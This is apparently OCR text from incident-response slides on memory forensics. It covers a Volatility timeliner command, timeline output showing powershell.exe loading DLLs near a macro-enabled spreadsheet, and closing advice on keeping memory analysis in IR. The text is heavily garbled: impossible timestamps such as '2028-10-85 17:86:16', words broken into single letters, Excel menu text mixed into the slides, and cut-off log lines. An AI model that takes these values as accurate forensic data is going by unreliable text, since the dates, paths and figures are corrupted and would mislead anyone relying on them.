1 1 HACK-~1 2028-10-85 17:86:16 UTC+0800 2028-10-85 17:86:16 UTC+B000
a 2 DATA~1 2028-10-85 17:86:16 UTC+0800 2028-10-85 17:86:16 UTC+B000
2 8 MIMI~1 2828-10-85 15:16:88 UTC+0880 2817-83-18 11:48:22 UTC+06080

Access Date

2028-10-85 17:86:16 UTC+B00
2028-10-85 17:86:16 UTC+B00
2028-10-85 15:16:88 UTC+880

File Attr

DIR
DIR
DIR

Yy

Path

[OOL\HACK
Backupsi\Users
buperhSecret\Stuff

m m m
P
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Timeliner | # vol.py -f mem.vmem --profile=Win10x64 15063 timeliner

mactimetxt - Excel

Insert Draw

Page Layout Formulas Data Review View Help Q Tell me what you want to do

L] &Cut

Ex|==E o 2w B Y [noma Bad
Paste E@ Copy ~ I u £y A S —— $ % 0 0 Conditional Forrﬁt as Explanatory
[ ] E t t t-f t 1 y th t - ' Format Painter a4~ - 2 v | EEE= Merge & Center ~ = L ] Formatting +  Table~ lZI expianatory
X rac s a r I ac S In memor a Clipboard [l Font [ Alignment ] Number [

have a timestamp associated.

D77423 7 2 [DLL LOADTIME {dll)] berypt.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 0x73970000

* Data from mftparser and shellbags T3 e O G5 2020194255
plugins can be combined as well P20 o0 s 00 0358

* You can feed this into a super-

77395 Mon Oct 05 2020 19:42:58

timeline using Plaso log2timeline-

77357 Mon Oct 05 2020 19:42:58

0 [THREAD] conhost.exe PID: 3296/TID: 4540
0 [THREAD] conhost.exe PID: 3296/TID: 672
0 [THREAD] powershell.exe PID: 2028/TID: 2688
108227 [MFT FILE_NAME] Users\AMYWAL~1\DOCUME™1\*$PROF~1.XLS (Offset: Dx4731e8)
108227 [MFT FILE NAME] Users\AMYWAL™1\DOCUME™1\"$Profit-and-Loss-Statement.xlsm (Offset: 0x4731e8)
108227 [MFT STD_INFO] Users\AMYWAL™1\DOCUME™~1\~SPROF~1.XLS (Offset: 0x4731e8)
108261 [MFT FILE_NAME] Users\AMYWAL~1\AppData\Roaming\MICROS~1\Office\Recant\PROFIT 2.LNK [Offset: 0x470478)
108261 [MFT FILE_NAME] Users\AMYWAL™1\AppData\Roaming\MICROS~1\Office\Recent\Profit-and-LosO/E3-Statement. xlsm.LNK (|
108261 [MFT STD_INFO] Users\AMYWAL™1\AppData\Roaming\MICROS™~1\Office\Recent\PROFIT~2.LNK [Offset: 0x470478)
87036 [MFT STD_INFO] Users\AMYWAL™1\DOCUME™1 (Offset: 0x10be000)
87575 [MFT STD_INFO] Users\Amy Walsh\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\FO1B4D™1.AUT ((

Create d ComprEhenS|Ve View Of :;:j; Mon Oct 05 2020 18:42:58

Maon Oct 05 2020 19:42:59

0 [DLL LOADTIME (dIl)] ADVAPI32.dIl Process: powershell.exe/PID: 2028/PPID: 7072/ Process POffset: 0x414e1340/DLL Base: Ox]

W h at h a S 0 CC u rred O n d iS k a n d I OgS 77400 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (d11)] ATL.DLL Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x67ch0l
77401 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] CRYPT32.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x75

M 77402 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] CRYPTBASE.dII Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 03

b ut a I SO W h at OCC u rre d I n m e m O ry- 77403 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] CRYPTSP.dIl Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x73
77404 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] GDI32.d1l Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 0x7435

77405 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] IMM32.DLL Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x76¢

77406 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dII)] LINKINFO.dII Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x7

77407 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] MSASNI.dIl Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x76

77408 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] MSVCR120 CLR0400.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DL

77409 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] Microsoft.Management.Infrastructure.ni.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process PO/

77410/ Maon Oct 05 2020 19:42:59 0011 OADTIMF (dIV] MoOav.dll Process: nowershell.exe/BIN: 2028/PPIN: 7072/ Process POffset: 0x41421340/D11 Rase: Nx64af!
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In Closing...

,L\>j Don’t forget about the important role that memory analysis plays as part of IR

.~ Ensure your IR process includes memory analysis — make sure you don’t pull the
,/ plug on systems or you look this critical volatile data!

)4 - Adversaries use various techniques (persistence, code injection, hiding
\')‘ j techniques, etc.) to elude traditional security tools

a ~ The use of memory forensics will augment your ability to better identify and these
)} techniques and respond to attacks in a timely manner — reducing the dwell time.
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